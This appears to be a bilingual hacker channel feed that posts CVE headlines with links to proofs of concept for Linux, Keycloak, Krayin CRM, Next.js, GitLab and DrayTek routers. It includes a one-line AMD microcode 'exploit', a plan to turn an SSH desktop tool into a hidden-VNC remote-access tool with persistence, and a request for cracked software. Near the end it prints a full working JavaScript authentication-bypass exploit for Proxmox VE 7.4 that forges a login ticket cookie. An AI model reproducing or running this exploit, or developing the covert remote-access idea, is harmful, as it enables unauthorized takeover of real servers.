skitter-creek-bath-salts
*
exploit: “xor dword [0xf80c2094], 1<<22”

Unlocks CPU microcode, the platform security processor, system management mode, and every internal processor register, all at once, on 100 million AMD CPUs. As far as I can tell can’t be fixed.

get

CVE-2026-68138
Linux qdisc rate-table race to local root

PoC

CVE-2026-41452 Krayin CRM
*
Auth Bypass → Admin Takeover

PoC

CVE-2026-20217 File Drop to RCE
*
full WriteUP

+ PoC

Забавнейшая штука ! SSHDESK
пиксели и input идут внутри SSH PTY
Я так подумал, концептуально его можно превратить в HVNC под *nix, большая часть архитектуры то готова:
screen capture
mouse injection
keyboard injection
remote GUI
encrypted transport
управляющий канал !!!
*** осталось сдлеать отдельный desktop в параллель (desk 0 to desk X), user hide, ну и какую никакую persistence модель бы воткнуть

god bless SSH

coming soon ...

#zeronights2026 #прогрев

CVE-2026-19478 — GitLab
*
A/B lab + safe PoC

Fuck eah !!!
*
tmp.0ut 5 Volume

25 august 1991
Некий фин, зарелизил core
О чем не постеснялся заявить через Usenet в группу comp.os.minix
а дальше фина понесло, да и остальных зацепило.
С праздником !

#linux35 #50letVLKSM

CVE-2026-18963 KeyCloak
*
reset-credentials bypass → unauthenticated account takeover

PoCexploit

Two Zero-Days in the DrayTek Vigor2962 Router
*
read


Рубрика нас просят (пора с этим завязывать)

Есть у кого ISO ?
А то срочно нужен ULTRAedit 6.10a с крЕками 😢

CVE-2026-75604 Next.js Windows RCE
*
PoC

CVE-2026-72137 ubuntu-7.0.0-28 LPE
*
exploit

Proxmox VE
*
PVE 7.4 auth-bypass exploit

// PVE 7.4 auth-bypass @NebuSec 2026
// First, make sure to try logging in as root with this exact password: root@pam
(async () => {
    const form = new URLSearchParams({
        username: "root@pam",
        password: "root@pam",
        "tfa-challenge": "NEBUSEC-CHALLENGE",
    });
    const loginResponse = await fetch("/api2/json/access/ticket", {
        method: "POST",
        credentials: "omit",
        headers: { "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" },
        body: form,
    });
    const loginBody = await loginResponse.json();
    document.cookie = `PVEAuthCookie=${loginBody?.data?.ticket}; Path=/; Secure; SameSite=Strict`;
    location.reload()
})();

Подъехала инфа что в версии 8.0.3 / 8.2 proxmox тоже есть bypass
8.4 и 9.2 пока (!) считаются безопасными